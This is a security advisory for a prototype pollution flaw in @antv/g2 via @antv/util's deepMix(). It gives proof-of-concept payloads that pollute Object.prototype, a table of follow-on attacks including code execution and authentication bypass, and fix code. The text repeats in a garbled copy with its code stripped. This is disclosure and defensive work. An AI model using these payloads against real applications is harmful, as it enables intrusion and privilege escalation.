Prototype Pollution in @antv/g2 via @antv/util deepMix()
Summary
@antv/g2 (<= 5.4.8) is vulnerable to Prototype Pollution through its dependency @antv/util's deepMix() function, which is used extensively throughout the codebase (78+ source files) to merge chart options and configurations.
Root Cause
@antv/util's deepMix() (lib/lodash/deep-mix.js) performs recursive deep merge without filtering __proto__, constructor, or prototype keys:
function _deepMix(dist, src, ...) {
for (var key in src) {
if (hasOwn(src, key)) { // ← passes for JSON.parse'd __proto__
var value = src[key];
if (isPlainObject(value)) {
if (isPlainObject(dist[key])) {
// Recurse INTO dist[key]
_deepMix(dist[key], value); // ← when key="__proto__", dist[key] = Object.prototype
} else {
dist[key] = _deepMix({}, value);
}
} else {
dist[key] = value;
}
}
}
}
No __proto__ key filtering exists anywhere in this function.
Why This Is Vulnerable — Step by Step
1. Attacker input: JSON.parse('{"__proto__":{"polluted":"yes"}}')
→ "__proto__" is an OWN ENUMERABLE property on the parsed object
→ hasOwn(src, "__proto__") returns TRUE
2. isPlainObject(src["__proto__"]) → TRUE (it's {polluted:"yes"})
3. dist["__proto__"] resolves to Object.prototype (via the accessor on plain {})
→ isPlainObject(Object.prototype) → TRUE
(because Object.getPrototypeOf(Object.prototype) === null,
and the function treats null-prototype objects as plain objects)
4. Recursive call: _deepMix(Object.prototype, {"polluted":"yes"})
→ Object.prototype["polluted"] = "yes"
→ POLLUTION COMPLETE
5. Every {} object in the Node.js process now has .polluted === "yes"
Why hasOwn doesn't help
hasOwn(src, "__proto__") returns true because JSON.parse creates __proto__ as a regular own enumerable property, not the prototype accessor. This is standard V8/Node.js behavior.
Why isPlainObject doesn't help
isPlainObject(Object.prototype) returns true because the check finds that Object.getPrototypeOf(Object.prototype) === null, which matches its definition of "plain object". This means the guard never resets dist["__proto__"] to a fresh {}, and the code descends directly into Object.prototype.
How @antv/g2 Is Affected
@antv/g2 imports and calls deepMix in 78+ source files for merging:
- Chart options:
new Chart(deepMix({}, defaults, userOptions))
- Mark configuration: mark options merged via
deepMix
- Interaction config: interaction options merged via
deepMix
- Transform options: data transform settings merged via
deepMix
- Theme config: theme objects merged via
deepMix
Any code path that accepts external JSON and passes it to chart configuration is exploitable:
const { Chart } = require('@antv/g2');
// Attacker-controlled chart config (e.g., from API response, user input)
const maliciousConfig = JSON.parse('{"__proto__":{"polluted":"yes"}}');
// This triggers deepMix internally
const chart = new Chart({
container: 'chart',
...maliciousConfig,
});
// All objects in the process are now polluted
console.log({}.polluted); // "yes"
Proof of Concept
const { deepMix } = require('@antv/util');
// Before
console.log({}.polluted); // undefined
// Pollute via deepMix
const payload = JSON.parse('{"__proto__":{"polluted":"yes"}}');
deepMix({}, payload);
// After — ALL objects are polluted globally
const obj = {};
console.log(obj.polluted); // "yes"
console.log(new Object().polluted); // "yes"
// Also works via constructor.prototype path
deepMix({}, JSON.parse('{"constructor":{"prototype":{"hacked":"true"}}}'));
console.log({}.hacked); // "true"
Impact
Successful prototype pollution via chart configuration enables:
| Attack |
Mechanism |
| Remote Code Execution |
Pollute shell, env, or template engine options → child_process.exec |
| Authentication Bypass |
Inject isAdmin: true, role: "admin" into user/session objects |
| Denial of Service |
Override toString, valueOf, hasOwnProperty → crash all object operations |
| SQL Injection |
Pollute query builder parameters ($where, $gt) |
| SSRF |
Inject hostname, port, protocol into HTTP client configs |
| XSS |
Inject HTML/JS via polluted template variables |
| Path Traversal |
Pollute path, basedir in file system operations |
| CORS Bypass |
Inject Access-Control-Allow-Origin via polluted header configs |
Remediation
Option 1: Fix in @antv/util (recommended — fixes all dependents)
Add key filtering in deepMix:
const BLOCKED = new Set(['__proto__', 'constructor', 'prototype']);
function _deepMix(dist, src, ...) {
for (var key in src) {
if (BLOCKED.has(key)) continue; // ← ADD THIS
if (hasOwn(src, key)) {
// ... rest of logic
}
}
}
Option 2: Fix in @antv/g2 (workaround)
Sanitize user input before passing to chart constructors:
function sanitize(obj) {
if (!obj || typeof obj !== 'object') return obj;
const clean = {};
for (const key of Object.keys(obj)) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue;
clean[key] = typeof obj[key] === 'object' ? sanitize(obj[key]) : obj[key];
}
return clean;
}
References
Prototype Pollution in
@antv/g2via@antv/utildeepMix()Summary
@antv/g2(<= 5.4.8) is vulnerable to Prototype Pollution through its dependency@antv/util'sdeepMix()function, which is used extensively throughout the codebase (78+ source files) to merge chart options and configurations.@antv/g2) / ~651,000 (@antv/util)Root Cause
@antv/util'sdeepMix()(lib/lodash/deep-mix.js) performs recursive deep merge without filtering__proto__,constructor, orprototypekeys:No
__proto__key filtering exists anywhere in this function.Why This Is Vulnerable — Step by Step
Why
hasOwndoesn't helphasOwn(src, "__proto__")returnstruebecauseJSON.parsecreates__proto__as a regular own enumerable property, not the prototype accessor. This is standard V8/Node.js behavior.Why
isPlainObjectdoesn't helpisPlainObject(Object.prototype)returnstruebecause the check finds thatObject.getPrototypeOf(Object.prototype) === null, which matches its definition of "plain object". This means the guard never resetsdist["__proto__"]to a fresh{}, and the code descends directly intoObject.prototype.How @antv/g2 Is Affected
@antv/g2imports and callsdeepMixin 78+ source files for merging:new Chart(deepMix({}, defaults, userOptions))deepMixdeepMixdeepMixdeepMixAny code path that accepts external JSON and passes it to chart configuration is exploitable:
Proof of Concept
Impact
Successful prototype pollution via chart configuration enables:
shell,env, or template engine options →child_process.execisAdmin: true,role: "admin"into user/session objectstoString,valueOf,hasOwnProperty→ crash all object operations$where,$gt)hostname,port,protocolinto HTTP client configspath,basedirin file system operationsAccess-Control-Allow-Originvia polluted header configsRemediation
Option 1: Fix in @antv/util (recommended — fixes all dependents)
Add key filtering in
deepMix:Option 2: Fix in @antv/g2 (workaround)
Sanitize user input before passing to chart constructors:
References